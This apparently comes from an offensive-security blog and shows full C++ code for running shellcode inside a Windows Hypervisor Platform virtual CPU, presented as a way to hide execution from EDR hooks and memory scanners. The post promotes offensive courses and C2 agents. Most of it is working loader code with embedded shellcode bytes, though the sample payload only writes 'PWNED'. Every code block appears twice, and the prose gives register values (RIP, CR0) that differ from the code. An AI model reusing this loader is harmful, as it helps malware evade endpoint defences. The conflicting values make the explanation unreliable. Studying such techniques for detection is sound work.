November 3, 2026
Executing Shellcode in an Isolated vCPU
Welcome to this new Medium post, today we are going to explore executing shellcode inside an isolated virtual CPU using the Windowsβ¦

By S12 - 0x12Dark Development
6 min read
Welcome to this new Medium post, today we are going to explore executing shellcode inside an isolated virtual CPU using the Windows Hypervisor Platform API, a technique that runs arbitrary x64 code in a hardware isolated VM context, invisible to the most EDR telemetry.
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
0x12 Dark Development Skip to content Join our offensive development courses and modules, and explore the techniques database with 100+ realβ¦
The Windows Hypervisor Platform API (WHvP) is an interface to the HyperV hypervisor, exposed through WinHvPlatform.dll. Originally designed to allow virtualization solutions like emulators to leverage hardware virtualization without ring 0 code.
It turns out to be an exceptionally clean primitive for shellcode execution: you allocate memory, map it into a guest partition, and run a virtual processor that executes your code, no hooks ever see the execution flow, also the memory scanners are completely evaded because EDRs have no visibility inside the isolated space
Methodology
The core insight is that WHvP provides a complete virtualization API at medium integrity, no driver required. The execution flow is:
- Create a partition: a hypervisor-managed container for the VM.
- Setup the partition: configure vCPU count and finalize the structure.
- Allocate host memory:
VirtualAllocwithPAGE_EXECUTE_READWRITE, page-aligned. - Map GPA ranges: bind host virtual addresses to guest physical addresses (shared pages, no copy)
- Create a virtual processor: a vCPU that will execute our code.
- Set vCPU registers: configure long mode paging, segment descriptors, RIP, RSP
- Run the vCPU: call
WHvRunVirtualProcessorin a loop, handle VM exits - Read output: retrieve the shellcode's result from the shared output buffer
The key constraint is that shellcode running inside the vCPU has no access to host virtual addresses, the PEB, TEB, or Windows system calls. It can only communicate with the host through the mapped GPA ranges. This limits the primitive to code that operates purely on data, ideal for a PoC, crypto operations, or staged loaders that communicate results through shared memory. But there are a lot of shellcode restrictions, that's the main problem of the technique.
For this constraint you will need to wait until the next post, I'm working to solve it.
From an EDR perspective, the call sequence that executes code is: WHvCreatePartition β WHvSetPartitionProperty β WHvSetupPartition β WHvMapGpaRange β WHvCreateVirtualProcessor β WHvSetVirtualProcessorRegisters β WHvRunVirtualProcessor
Methodology
Long-mode paging setup
The vCPU must run in x64 long mode. This requires a valid 4 level paging structure (PML4 β PDPT β PD β PT) set up in guest memory before launching the vCPU.
We use 2MB large pages (PDE with PS bit) to keep the setup minimal, one PML4 entry, one PDPT entry, one PD entry covering the first 2MB of guest physical address space:
void setupLongModePaging(uint8_t* mem) {
// PML4 at GPA 0x1000 β points to PDPT at 0x2000
uint64_t* pml4 = (uint64_t*)(mem + 0x1000);
pml4[0] = 0x2000 | PTE_PRESENT | PTE_WRITE;
// PDPT at GPA 0x2000 β points to PD at 0x3000
uint64_t* pdpt = (uint64_t*)(mem + 0x2000);
pdpt[0] = 0x3000 | PTE_PRESENT | PTE_WRITE;
// PD at GPA 0x3000 β 2MB large page covering GPA 0x0β0x1FFFFF (PS bit)
uint64_t* pd = (uint64_t*)(mem + 0x3000);
pd[0] = 0x0 | PTE_PRESENT | PTE_WRITE | PTE_PS;
}void setupLongModePaging(uint8_t* mem) {
// PML4 at GPA 0x1000 β points to PDPT at 0x2000
uint64_t* pml4 = (uint64_t*)(mem + 0x1000);
pml4[0] = 0x2000 | PTE_PRESENT | PTE_WRITE;
// PDPT at GPA 0x2000 β points to PD at 0x3000
uint64_t* pdpt = (uint64_t*)(mem + 0x2000);
pdpt[0] = 0x3000 | PTE_PRESENT | PTE_WRITE;
// PD at GPA 0x3000 β 2MB large page covering GPA 0x0β0x1FFFFF (PS bit)
uint64_t* pd = (uint64_t*)(mem + 0x3000);
pd[0] = 0x0 | PTE_PRESENT | PTE_WRITE | PTE_PS;
}Critical register values
Getting the x64 long mode register state correct is the hardest part. A common mistake is setting EFER.LMA manually, the hypervisor derives it from CR0.PG + EFER.LME and will reject any state where LMA is set before CR0.PG is enabled. Segment descriptor attributes must also be set precisely:
- EFER (0x100): LME only. Never set LMA manually, WHV derives it from CR0.PG
- CR0 (0x80000011): PE (protected mode) + PG (paging) + ET CR3 0x1000 GPA of our PML4 table
- CR4 (0x20): PAE (Physical Address Extension) required for long mode
- CS.Attributes (0xA09B): G=1, L=1 (64-bit), Present=1, S=1, Type=0xB (execute/read/accessed)
- SS/DS/ES.Attr (0xC093): G=1, DB=1, Present=1, S=1, Type=0x3 (read/write/accessed)
- RIP (0x4000): GPA where shellcode lives (mapped from host buffer)
VM exit loop
After calling WHvRunVirtualProcessor, we handle the exit reason and loop until a terminal condition:
while (true) {
WHV_RUN_VP_EXIT_CONTEXT exitCtx = {};
hr = WHvRunVirtualProcessor(partition, 0, &exitCtx, sizeof(exitCtx));
if (FAILED(hr)) { /* handle error */ break; }
switch (exitCtx.ExitReason) {
case WHvRunVpExitReasonX64Halt: // 8 β HLT instruction
printf("[+] HLT reached\n");
goto done;
case WHvRunVpExitReasonException: // 5 β guest exception
printf("[-] Guest exception\n");
goto done;
case WHvRunVpExitReasonInvalidVpRegisterValue: // bad register state
printf("[-] Invalid register value\n");
goto done;
case WHvRunVpExitReasonMemoryAccess: // 1 β unmapped GPA access
printf("[-] Memory access fault at GPA 0x%llx\n",
exitCtx.MemoryAccess.Gpa);
goto done;
default:
printf("[?] Exit reason: %d\n", exitCtx.ExitReason);
goto done;
}
}
done:;while (true) {
WHV_RUN_VP_EXIT_CONTEXT exitCtx = {};
hr = WHvRunVirtualProcessor(partition, 0, &exitCtx, sizeof(exitCtx));
if (FAILED(hr)) { /* handle error */ break; }
switch (exitCtx.ExitReason) {
case WHvRunVpExitReasonX64Halt: // 8 β HLT instruction
printf("[+] HLT reached\n");
goto done;
case WHvRunVpExitReasonException: // 5 β guest exception
printf("[-] Guest exception\n");
goto done;
case WHvRunVpExitReasonInvalidVpRegisterValue: // bad register state
printf("[-] Invalid register value\n");
goto done;
case WHvRunVpExitReasonMemoryAccess: // 1 β unmapped GPA access
printf("[-] Memory access fault at GPA 0x%llx\n",
exitCtx.MemoryAccess.Gpa);
goto done;
default:
printf("[?] Exit reason: %d\n", exitCtx.ExitReason);
goto done;
}
}
done:;Full Code
#include <Windows.h>
#include <WinHvPlatform.h>
#include <cstdint>
#include <cstdio>
#pragma comment(lib, "WinHvPlatform.lib")
#define PAGE_SIZE 0x1000
#define GPA_BASE 0x0
#define PML4_GPA 0x1000
#define PDPT_GPA 0x2000
#define PD_GPA 0x3000
#define PTE_PRESENT (1ULL << 0)
#define PTE_WRITE (1ULL << 1)
#define PTE_PS (1ULL << 7)
void setupLongModePaging(uint8_t* mem) {
// PML4[0] -> PDPT
uint64_t* pml4 = (uint64_t*)(mem + PML4_GPA);
pml4[0] = (PDPT_GPA) | PTE_PRESENT | PTE_WRITE;
// PDPT[0] -> PD
uint64_t* pdpt = (uint64_t*)(mem + PDPT_GPA);
pdpt[0] = (PD_GPA) | PTE_PRESENT | PTE_WRITE;
// PD[0] -> identity map 0x0 with a 2MB large page
uint64_t* pd = (uint64_t*)(mem + PD_GPA);
pd[0] = 0x0 | PTE_PRESENT | PTE_WRITE | PTE_PS;
}
int main() {
HRESULT hr;
// Allocate host memory for the VM (16KB: shellcode + paging structures)
const size_t MEM_SIZE = 0x4000;
uint8_t* guestMem = (uint8_t*)VirtualAlloc(nullptr, MEM_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!guestMem) {
printf("VirtualAlloc guestMem failed: %lu\n", GetLastError());
return 1;
}
ZeroMemory(guestMem, MEM_SIZE);
// Output buffer> guest will write here via GPA 0x5000
uint8_t* outputBuf = (uint8_t*)VirtualAlloc(nullptr, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!outputBuf) {
printf("VirtualAlloc outputBuf failed\n");
return 1;
}
ZeroMemory(outputBuf, 0x1000);
// Shellcode: writes "PWNED" to GPA 0x5000, then halts
// mov rax, 0x5000
// mov dword ptr [rax], 'PWNE'
// mov byte ptr [rax+4], 'D'
// hlt
unsigned char shellcode[] = {
0x48, 0xC7, 0xC0, 0x00, 0x50, 0x00, 0x00,
0xC7, 0x00, 0x50, 0x57, 0x4E, 0x45,
0xC6, 0x40, 0x04, 0x44,
0xF4
};
// Copy shellcode to the start of guest memory (GPA 0x0)
memcpy(guestMem, shellcode, sizeof(shellcode));
// Build paging tables in guest memory
setupLongModePaging(guestMem);
// Create partition
WHV_PARTITION_HANDLE partition;
hr = WHvCreatePartition(&partition);
if (FAILED(hr)) {
printf("WHvCreatePartition: 0x%08X\n", hr);
return 1;
}
// Set processor count to 1
WHV_PARTITION_PROPERTY prop = {};
prop.ProcessorCount = 1;
hr = WHvSetPartitionProperty(partition, WHvPartitionPropertyCodeProcessorCount, &prop, sizeof(prop));
if (FAILED(hr)) {
printf("SetPartitionProperty: 0x%08X\n", hr);
return 1;
}
// Activate the partition (creates the actual hypervisor partition)
hr = WHvSetupPartition(partition);
if (FAILED(hr)) {
printf("WHvSetupPartition: 0x%08X\n", hr);
return 1;
}
// Map host memory into the guest GPA space (shellcode + paging)
hr = WHvMapGpaRange(partition, guestMem, GPA_BASE, MEM_SIZE,
WHvMapGpaRangeFlagRead | WHvMapGpaRangeFlagWrite | WHvMapGpaRangeFlagExecute
);
if (FAILED(hr)) {
printf("WHvMapGpaRange guestMem: 0x%08X\n", hr);
return 1;
}
// Map the output buffer at GPA 0x5000
hr = WHvMapGpaRange(partition, outputBuf, 0x5000, 0x1000, WHvMapGpaRangeFlagRead | WHvMapGpaRangeFlagWrite);
if (FAILED(hr)) {
printf("WHvMapGpaRange outputBuf: 0x%08X\n", hr);
return 1;
}
// Create virtual processor (vCPU index 0)
hr = WHvCreateVirtualProcessor(partition, 0, 0);
if (FAILED(hr)) {
printf("WHvCreateVirtualProcessor: 0x%08X\n", hr);
return 1;
}
// Set up registers for 64 bit long mode
WHV_REGISTER_NAME regNames[] = {
WHvX64RegisterRip,
WHvX64RegisterRsp,
WHvX64RegisterRflags,
WHvX64RegisterEfer,
WHvX64RegisterCr0,
WHvX64RegisterCr3,
WHvX64RegisterCr4,
WHvX64RegisterCs,
WHvX64RegisterSs,
WHvX64RegisterDs,
WHvX64RegisterEs,
};
WHV_REGISTER_VALUE regValues[ARRAYSIZE(regNames)] = {};
// RIP points to GPA 0x0 where the shellcode lives
regValues[0].Reg64 = GPA_BASE;
// Minimal stack inside the VM
regValues[1].Reg64 = 0x200;
// RFLAGS: reserved bit 1 always set
regValues[2].Reg64 = 0x2;
// EFER: LME only (bit 8) β WHV derives LMA internally from CR0.PG + EFER.LME
regValues[3].Reg64 = 0x100;
// CR0: PE (protected mode) + PG (paging)
regValues[4].Reg64 = 0x80000001;
// CR3: points to the PML4 table
regValues[5].Reg64 = PML4_GPA;
// CR4: PAE required for long mode
regValues[6].Reg64 = 0x20;
// CS: 64-bit code segment descriptor attributes
// 0xA09B = G | L (64-bit) | Present | S | Type=0xB (code, exec, read, accessed)
regValues[7].Segment.Base = 0;
regValues[7].Segment.Limit = 0xFFFFFFFF;
regValues[7].Segment.Selector = 0x8;
regValues[7].Segment.Attributes = 0xA09B;
// SS/DS/ES: flat 32-bit data segments (compatible with long mode)
// 0xC093 = G | DB | Present | S | Type=0x3 (data, read, write, accessed)
for (int i = 8; i <= 10; i++) {
regValues[i].Segment.Base = 0;
regValues[i].Segment.Limit = 0xFFFFFFFF;
regValues[i].Segment.Selector = 0x10;
regValues[i].Segment.Attributes = 0xC093;
}
hr = WHvSetVirtualProcessorRegisters(partition, 0, regNames, ARRAYSIZE(regNames), regValues);
if (FAILED(hr)) {
printf("SetRegisters: 0x%08X\n", hr);
return 1;
}
printf("Running shellcode in vCPU...\n");
// Execution loop, handles VM exits
WHV_RUN_VP_EXIT_CONTEXT exitCtx;
while (true) {
hr = WHvRunVirtualProcessor(partition, 0, &exitCtx, sizeof(exitCtx));
if (FAILED(hr)) {
printf("RunVP failed: 0x%08X\n", hr);
break;
}
if (exitCtx.ExitReason == WHvRunVpExitReasonX64Halt) {
printf("HLT reached: shellcode finished\n");
break;
}
if (exitCtx.ExitReason == WHvRunVpExitReasonException) {
printf("Guest exception: vector: %d, error code: 0x%X\n", exitCtx.VpException.ExceptionType, exitCtx.VpException.ErrorCode);
WHV_REGISTER_NAME names[] = { WHvX64RegisterRip, WHvX64RegisterRax };
WHV_REGISTER_VALUE vals[2] = {};
WHvGetVirtualProcessorRegisters(partition, 0, names, 2, vals);
printf("RIP = 0x%llX\n", vals[0].Reg64);
printf("RAX = 0x%llX\n", vals[1].Reg64);
break;
}
if (exitCtx.ExitReason == WHvRunVpExitReasonInvalidVpRegisterValue) {
printf("Invalid register value\n");
break;
}
// Unhandled exit: log and continue
printf("Unhandled VM exit: reason = %d\n", exitCtx.ExitReason);
}
// Read back result from shared output buffer
printf("Guest wrote: %s\n", (char*)outputBuf);
// Cleanup
WHvDeleteVirtualProcessor(partition, 0);
WHvDeletePartition(partition);
VirtualFree(guestMem, 0, MEM_RELEASE);
VirtualFree(outputBuf, 0, MEM_RELEASE);
return 0;
}#include <Windows.h>
#include <WinHvPlatform.h>
#include <cstdint>
#include <cstdio>
#pragma comment(lib, "WinHvPlatform.lib")
#define PAGE_SIZE 0x1000
#define GPA_BASE 0x0
#define PML4_GPA 0x1000
#define PDPT_GPA 0x2000
#define PD_GPA 0x3000
#define PTE_PRESENT (1ULL << 0)
#define PTE_WRITE (1ULL << 1)
#define PTE_PS (1ULL << 7)
void setupLongModePaging(uint8_t* mem) {
// PML4[0] -> PDPT
uint64_t* pml4 = (uint64_t*)(mem + PML4_GPA);
pml4[0] = (PDPT_GPA) | PTE_PRESENT | PTE_WRITE;
// PDPT[0] -> PD
uint64_t* pdpt = (uint64_t*)(mem + PDPT_GPA);
pdpt[0] = (PD_GPA) | PTE_PRESENT | PTE_WRITE;
// PD[0] -> identity map 0x0 with a 2MB large page
uint64_t* pd = (uint64_t*)(mem + PD_GPA);
pd[0] = 0x0 | PTE_PRESENT | PTE_WRITE | PTE_PS;
}
int main() {
HRESULT hr;
// Allocate host memory for the VM (16KB: shellcode + paging structures)
const size_t MEM_SIZE = 0x4000;
uint8_t* guestMem = (uint8_t*)VirtualAlloc(nullptr, MEM_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!guestMem) {
printf("VirtualAlloc guestMem failed: %lu\n", GetLastError());
return 1;
}
ZeroMemory(guestMem, MEM_SIZE);
// Output buffer> guest will write here via GPA 0x5000
uint8_t* outputBuf = (uint8_t*)VirtualAlloc(nullptr, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!outputBuf) {
printf("VirtualAlloc outputBuf failed\n");
return 1;
}
ZeroMemory(outputBuf, 0x1000);
// Shellcode: writes "PWNED" to GPA 0x5000, then halts
// mov rax, 0x5000
// mov dword ptr [rax], 'PWNE'
// mov byte ptr [rax+4], 'D'
// hlt
unsigned char shellcode[] = {
0x48, 0xC7, 0xC0, 0x00, 0x50, 0x00, 0x00,
0xC7, 0x00, 0x50, 0x57, 0x4E, 0x45,
0xC6, 0x40, 0x04, 0x44,
0xF4
};
// Copy shellcode to the start of guest memory (GPA 0x0)
memcpy(guestMem, shellcode, sizeof(shellcode));
// Build paging tables in guest memory
setupLongModePaging(guestMem);
// Create partition
WHV_PARTITION_HANDLE partition;
hr = WHvCreatePartition(&partition);
if (FAILED(hr)) {
printf("WHvCreatePartition: 0x%08X\n", hr);
return 1;
}
// Set processor count to 1
WHV_PARTITION_PROPERTY prop = {};
prop.ProcessorCount = 1;
hr = WHvSetPartitionProperty(partition, WHvPartitionPropertyCodeProcessorCount, &prop, sizeof(prop));
if (FAILED(hr)) {
printf("SetPartitionProperty: 0x%08X\n", hr);
return 1;
}
// Activate the partition (creates the actual hypervisor partition)
hr = WHvSetupPartition(partition);
if (FAILED(hr)) {
printf("WHvSetupPartition: 0x%08X\n", hr);
return 1;
}
// Map host memory into the guest GPA space (shellcode + paging)
hr = WHvMapGpaRange(partition, guestMem, GPA_BASE, MEM_SIZE,
WHvMapGpaRangeFlagRead | WHvMapGpaRangeFlagWrite | WHvMapGpaRangeFlagExecute
);
if (FAILED(hr)) {
printf("WHvMapGpaRange guestMem: 0x%08X\n", hr);
return 1;
}
// Map the output buffer at GPA 0x5000
hr = WHvMapGpaRange(partition, outputBuf, 0x5000, 0x1000, WHvMapGpaRangeFlagRead | WHvMapGpaRangeFlagWrite);
if (FAILED(hr)) {
printf("WHvMapGpaRange outputBuf: 0x%08X\n", hr);
return 1;
}
// Create virtual processor (vCPU index 0)
hr = WHvCreateVirtualProcessor(partition, 0, 0);
if (FAILED(hr)) {
printf("WHvCreateVirtualProcessor: 0x%08X\n", hr);
return 1;
}
// Set up registers for 64 bit long mode
WHV_REGISTER_NAME regNames[] = {
WHvX64RegisterRip,
WHvX64RegisterRsp,
WHvX64RegisterRflags,
WHvX64RegisterEfer,
WHvX64RegisterCr0,
WHvX64RegisterCr3,
WHvX64RegisterCr4,
WHvX64RegisterCs,
WHvX64RegisterSs,
WHvX64RegisterDs,
WHvX64RegisterEs,
};
WHV_REGISTER_VALUE regValues[ARRAYSIZE(regNames)] = {};
// RIP points to GPA 0x0 where the shellcode lives
regValues[0].Reg64 = GPA_BASE;
// Minimal stack inside the VM
regValues[1].Reg64 = 0x200;
// RFLAGS: reserved bit 1 always set
regValues[2].Reg64 = 0x2;
// EFER: LME only (bit 8) β WHV derives LMA internally from CR0.PG + EFER.LME
regValues[3].Reg64 = 0x100;
// CR0: PE (protected mode) + PG (paging)
regValues[4].Reg64 = 0x80000001;
// CR3: points to the PML4 table
regValues[5].Reg64 = PML4_GPA;
// CR4: PAE required for long mode
regValues[6].Reg64 = 0x20;
// CS: 64-bit code segment descriptor attributes
// 0xA09B = G | L (64-bit) | Present | S | Type=0xB (code, exec, read, accessed)
regValues[7].Segment.Base = 0;
regValues[7].Segment.Limit = 0xFFFFFFFF;
regValues[7].Segment.Selector = 0x8;
regValues[7].Segment.Attributes = 0xA09B;
// SS/DS/ES: flat 32-bit data segments (compatible with long mode)
// 0xC093 = G | DB | Present | S | Type=0x3 (data, read, write, accessed)
for (int i = 8; i <= 10; i++) {
regValues[i].Segment.Base = 0;
regValues[i].Segment.Limit = 0xFFFFFFFF;
regValues[i].Segment.Selector = 0x10;
regValues[i].Segment.Attributes = 0xC093;
}
hr = WHvSetVirtualProcessorRegisters(partition, 0, regNames, ARRAYSIZE(regNames), regValues);
if (FAILED(hr)) {
printf("SetRegisters: 0x%08X\n", hr);
return 1;
}
printf("Running shellcode in vCPU...\n");
// Execution loop, handles VM exits
WHV_RUN_VP_EXIT_CONTEXT exitCtx;
while (true) {
hr = WHvRunVirtualProcessor(partition, 0, &exitCtx, sizeof(exitCtx));
if (FAILED(hr)) {
printf("RunVP failed: 0x%08X\n", hr);
break;
}
if (exitCtx.ExitReason == WHvRunVpExitReasonX64Halt) {
printf("HLT reached: shellcode finished\n");
break;
}
if (exitCtx.ExitReason == WHvRunVpExitReasonException) {
printf("Guest exception: vector: %d, error code: 0x%X\n", exitCtx.VpException.ExceptionType, exitCtx.VpException.ErrorCode);
WHV_REGISTER_NAME names[] = { WHvX64RegisterRip, WHvX64RegisterRax };
WHV_REGISTER_VALUE vals[2] = {};
WHvGetVirtualProcessorRegisters(partition, 0, names, 2, vals);
printf("RIP = 0x%llX\n", vals[0].Reg64);
printf("RAX = 0x%llX\n", vals[1].Reg64);
break;
}
if (exitCtx.ExitReason == WHvRunVpExitReasonInvalidVpRegisterValue) {
printf("Invalid register value\n");
break;
}
// Unhandled exit: log and continue
printf("Unhandled VM exit: reason = %d\n", exitCtx.ExitReason);
}
// Read back result from shared output buffer
printf("Guest wrote: %s\n", (char*)outputBuf);
// Cleanup
WHvDeleteVirtualProcessor(partition, 0);
WHvDeletePartition(partition);
VirtualFree(guestMem, 0, MEM_RELEASE);
VirtualFree(outputBuf, 0, MEM_RELEASE);
return 0;
}Proof of Concept
Let's run the code as admin in a machine with the HyperV feature activated:
Exit reason 8 (WHvRunVpExitReasonX64Halt) confirms the vCPU executed the HLT instruction after writing to the shared buffer. The output buffer contains PWNED, written by code that ran inside a isolated virtual machine, without ever touching a Windows API from the guest side
Conclusions
The Windows Hypervisor Platform API provides a documented, medium integrity path to isolated code execution that bypasses the userland hook layer entirely. The technique is not new conceptually, Type 2 hypervisors have always been able to execute arbitrary code in guest context, but WHvP makes it accessible from a regular user process without any driver or kernel component
π Follow me: π¦ X | π¬ Discord Server | πΈ Instagram | Newsletter | YouTube
S12.